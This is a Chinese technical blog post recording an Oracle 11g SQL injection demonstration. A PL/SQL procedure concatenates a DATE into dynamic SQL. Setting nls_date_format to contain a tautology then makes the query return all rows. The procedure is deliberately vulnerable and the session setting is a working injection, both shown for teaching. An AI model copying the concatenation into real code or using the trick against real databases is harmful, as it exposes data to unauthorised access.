[20170912]sql injection例子.txt

简介: [20170912]sql injection例子.txt --//来之tom的例子,做一个记录.也许以后讲解需要!! 1.环境: SCOTT@book> @ &r/ver1 PORT_STRING                    VERSION   ...

[20170912]sql injection例子.txt

--//来之tom的例子,做一个记录.也许以后讲解需要!!

1.环境:
SCOTT@book> @ &r/ver1

PORT_STRING                    VERSION        BANNER
------------------------------ -------------- --------------------------------------------------------------------------------
x86_64/Linux 2.4.xx            11.2.0.4.0     Oracle Database 11g Enterprise Edition Release 11.2.0.4.0 - 64bit Production

create or replace procedure inj( p_date in date )
as
        l_rec   all_users%rowtype;
        c       sys_refcursor;
        l_query long;
begin
        l_query := '
        select *
          from all_users
         where created = ''' ||p_date ||'''';

        dbms_output.put_line( l_query );
        open c for l_query;

        for i in 1 .. 5
        loop
                fetch c into l_rec;
                exit when c%notfound;
                dbms_output.put_line( l_rec.username || '.....' );
        end loop;
        close c;
end;
/

SCOTT@book> show parameter nls_date_format
NAME             TYPE    VALUE
---------------- ------- ---------------------
nls_date_format  string  YYYY-MM-DD HH24:MI:SS

SCOTT@book> exec inj(sysdate)

        select *
          from all_users
         where created = '2017-09-12 08:47:16'
PL/SQL procedure successfully completed.
--//注意sql语句的输出.

2.修改环境变量定义:

SCOTT@book> alter session set nls_date_format = 'yyyy-mm-dd hh24:mi:ss"'' or ''a'' = ''a"';
Session altered.

SCOTT@book> exec inj(sysdate)

        select *
          from all_users
         where created = '2017-09-12 08:48:10' or 'a' = 'a'
TEST.....
WYL.....
BI.....
PM.....
SH.....

PL/SQL procedure successfully completed.

目录
相关文章
|
14天前
|
SQL Oracle Java
SQL 注入神器:jSQL Injection 保姆级教程
SQL 注入神器:jSQL Injection 保姆级教程
|
29天前
|
SQL 安全 数据库
[dvwa] sql injection
[dvwa] sql injection
|
29天前
|
SQL 安全 数据库
[dvwa] sql injection(Blind)
[dvwa] sql injection(Blind)
|
7月前
|
SQL Java 数据库连接
sql injection violation, syntax error: syntax error, error in :‘**‘expect IDENTIFIER, actual IDENTIF
sql injection violation, syntax error: syntax error, error in :‘**‘expect IDENTIFIER, actual IDENTIF
125 0
java.sql.SQLException: sql injection violation
本文目录 1. 报错信息 2. 问题分析 3. 排除法 4. 解决方案
2048 0
|
SQL
SQL标签库详解例子
SQL标签库详解例子
87 1
|
SQL 数据库
SQL 的复杂查询语句,例子及解析
SQL 的复杂查询语句,例子及解析
139 0
|
SQL 安全 关系型数据库
DVWA-SQL注入(SQL Injection)低/中/高级别
DVWA是一个用来联系渗透的靶场,其中包含数个漏洞模块,本篇博客向大家简单介绍下SQL注入(SQL Injection)模块三个级别(low/medium/high)的通关步骤
1180 2
DVWA-SQL注入(SQL Injection)低/中/高级别